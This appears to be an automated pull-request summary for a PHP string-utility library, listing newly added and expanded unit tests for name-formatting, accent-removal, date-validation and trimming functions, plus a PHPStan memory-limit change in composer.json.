• Included comprehensive Unicode handling, international naming conventions, and security validation
• Fixed all PHPMD violations and static analysis issues (PHPStan, Psalm)
• Updated PHPStan memory configuration in composer.json for improved performance
Diagram Walkthrough
File Walkthrough
10 files
NameFixEdgeCasesTest.php
Add comprehensive edge case testing for nameFix functiontests/Unit/NameFixEdgeCasesTest.php
• New comprehensive test class with 415 lines covering edge cases for
nameFixfunction• Tests Unicode edge cases, uncommon punctuation,
prefix collisions, complex diacritics
• Includes performance testing
with timing assertions for complex scenarios
• Covers unusual spacing,
valid name formats, and historically problematic patterns
NameFixNegativeFlowTest.php
Add negative flow and security testing for nameFix functiontests/Unit/NameFixNegativeFlowTest.php
• New test class with 439 lines focusing on negative flow scenarios
for
nameFix• Tests malformed inputs, boundary conditions, security
concerns, and invalid encodings
• Includes regex stress patterns,
numeric edge cases, extreme whitespace scenarios
• Performance
degradation testing with timing assertions for large inputs
NameFixComprehensiveTest.php
Add comprehensive positive flow testing for nameFix functiontests/Unit/NameFixComprehensiveTest.php
• New test class with 344 lines covering positive flow scenarios for
nameFix• Tests Scottish/Irish prefixes, Dutch prefixes,
Spanish/Italian/Portuguese prefixes
• Covers apostrophe names,
hyphenated names, accented characters, international names
• Includes
null input handling and comprehensive prefix pattern testing
Utf8AnsiTest.php
Expand utf8Ansi test coverage with comprehensive scenariostests/Unit/Utf8AnsiTest.php
• Added 259 new lines of comprehensive test coverage for
utf8Ansifunction
• Tests multiple character conversion, real-world scenarios,
performance edge cases
• Includes negative flow testing with malformed
sequences and boundary conditions
• Added comprehensive mapping
validation and stress testing scenarios
StrReplaceTest.php
Enhance strReplace test coverage with comprehensive scenariostests/Unit/StrReplaceTest.php
• Enhanced existing tests by consolidating methods and adding
comprehensive scenarios
• Added array replacements, case-sensitive
testing, special character handling
• Includes performance testing,
whitespace handling, and real-world use cases
• Improved test
organisation by splitting into focused test methods
SearchWordsTest.php
Expand searchWords test coverage with comprehensive scenariostests/Unit/SearchWordsTest.php
• Expanded test coverage with 195 additional lines of comprehensive
testing
• Added Unicode edge cases, performance testing, negative flow
scenarios
• Includes real-world scenarios like emails, URLs, file
paths, social media
• Enhanced with stress testing and boundary
condition validation
RemoveAccentsTest.php
Expand removeAccents test coverage with comprehensive scenariostests/Unit/RemoveAccentsTest.php
• Added 253 new lines of comprehensive test coverage for
removeAccents• Tests comprehensive Unicode accent removal, mixed content handling
•
Includes performance testing, negative flow scenarios, and edge cases
• Added boundary condition testing and stress scenarios with large
inputs
IsValidDateTest.php
Expand isValidDate test coverage with comprehensive scenariostests/Unit/IsValidDateTest.php
• Added 151 new lines of comprehensive date validation testing
• Tests
edge cases, boundary conditions, leap year scenarios, performance
•
Includes negative flow testing with malformed dates and format
mismatches
• Added stress testing with batch validation scenarios
TrimTest.php
Enhance trim test coverage with comprehensive scenariostests/Unit/TrimTest.php
• Enhanced existing tests by splitting data provider into focused
methods
• Added 100 new lines including negative flow and edge case
testing
• Includes performance testing, Unicode handling, and boundary
conditions
• Improved test organisation and added comprehensive
character set testing
NameFixSpecialCharactersTest.php
Add special character testing for nameFix functiontests/Unit/NameFixSpecialCharactersTest.php
• New test class with 117 lines focusing on special character
scenarios
• Tests names with numbers, complex real-world combinations,
numeric inputs
• Covers professional titles, Roman numerals, and
special character preservation
• Includes comprehensive testing of
alphanumeric and symbol combinations
1 files
composer.json
Enhance PHPStan memory configuration for large test suitescomposer.json
• Updated PHPStan configuration to include
--memory-limit=-1flag•
Single line change to improve static analysis performance for large
test suites
4 files
Summary by CodeRabbit
Tests
Chores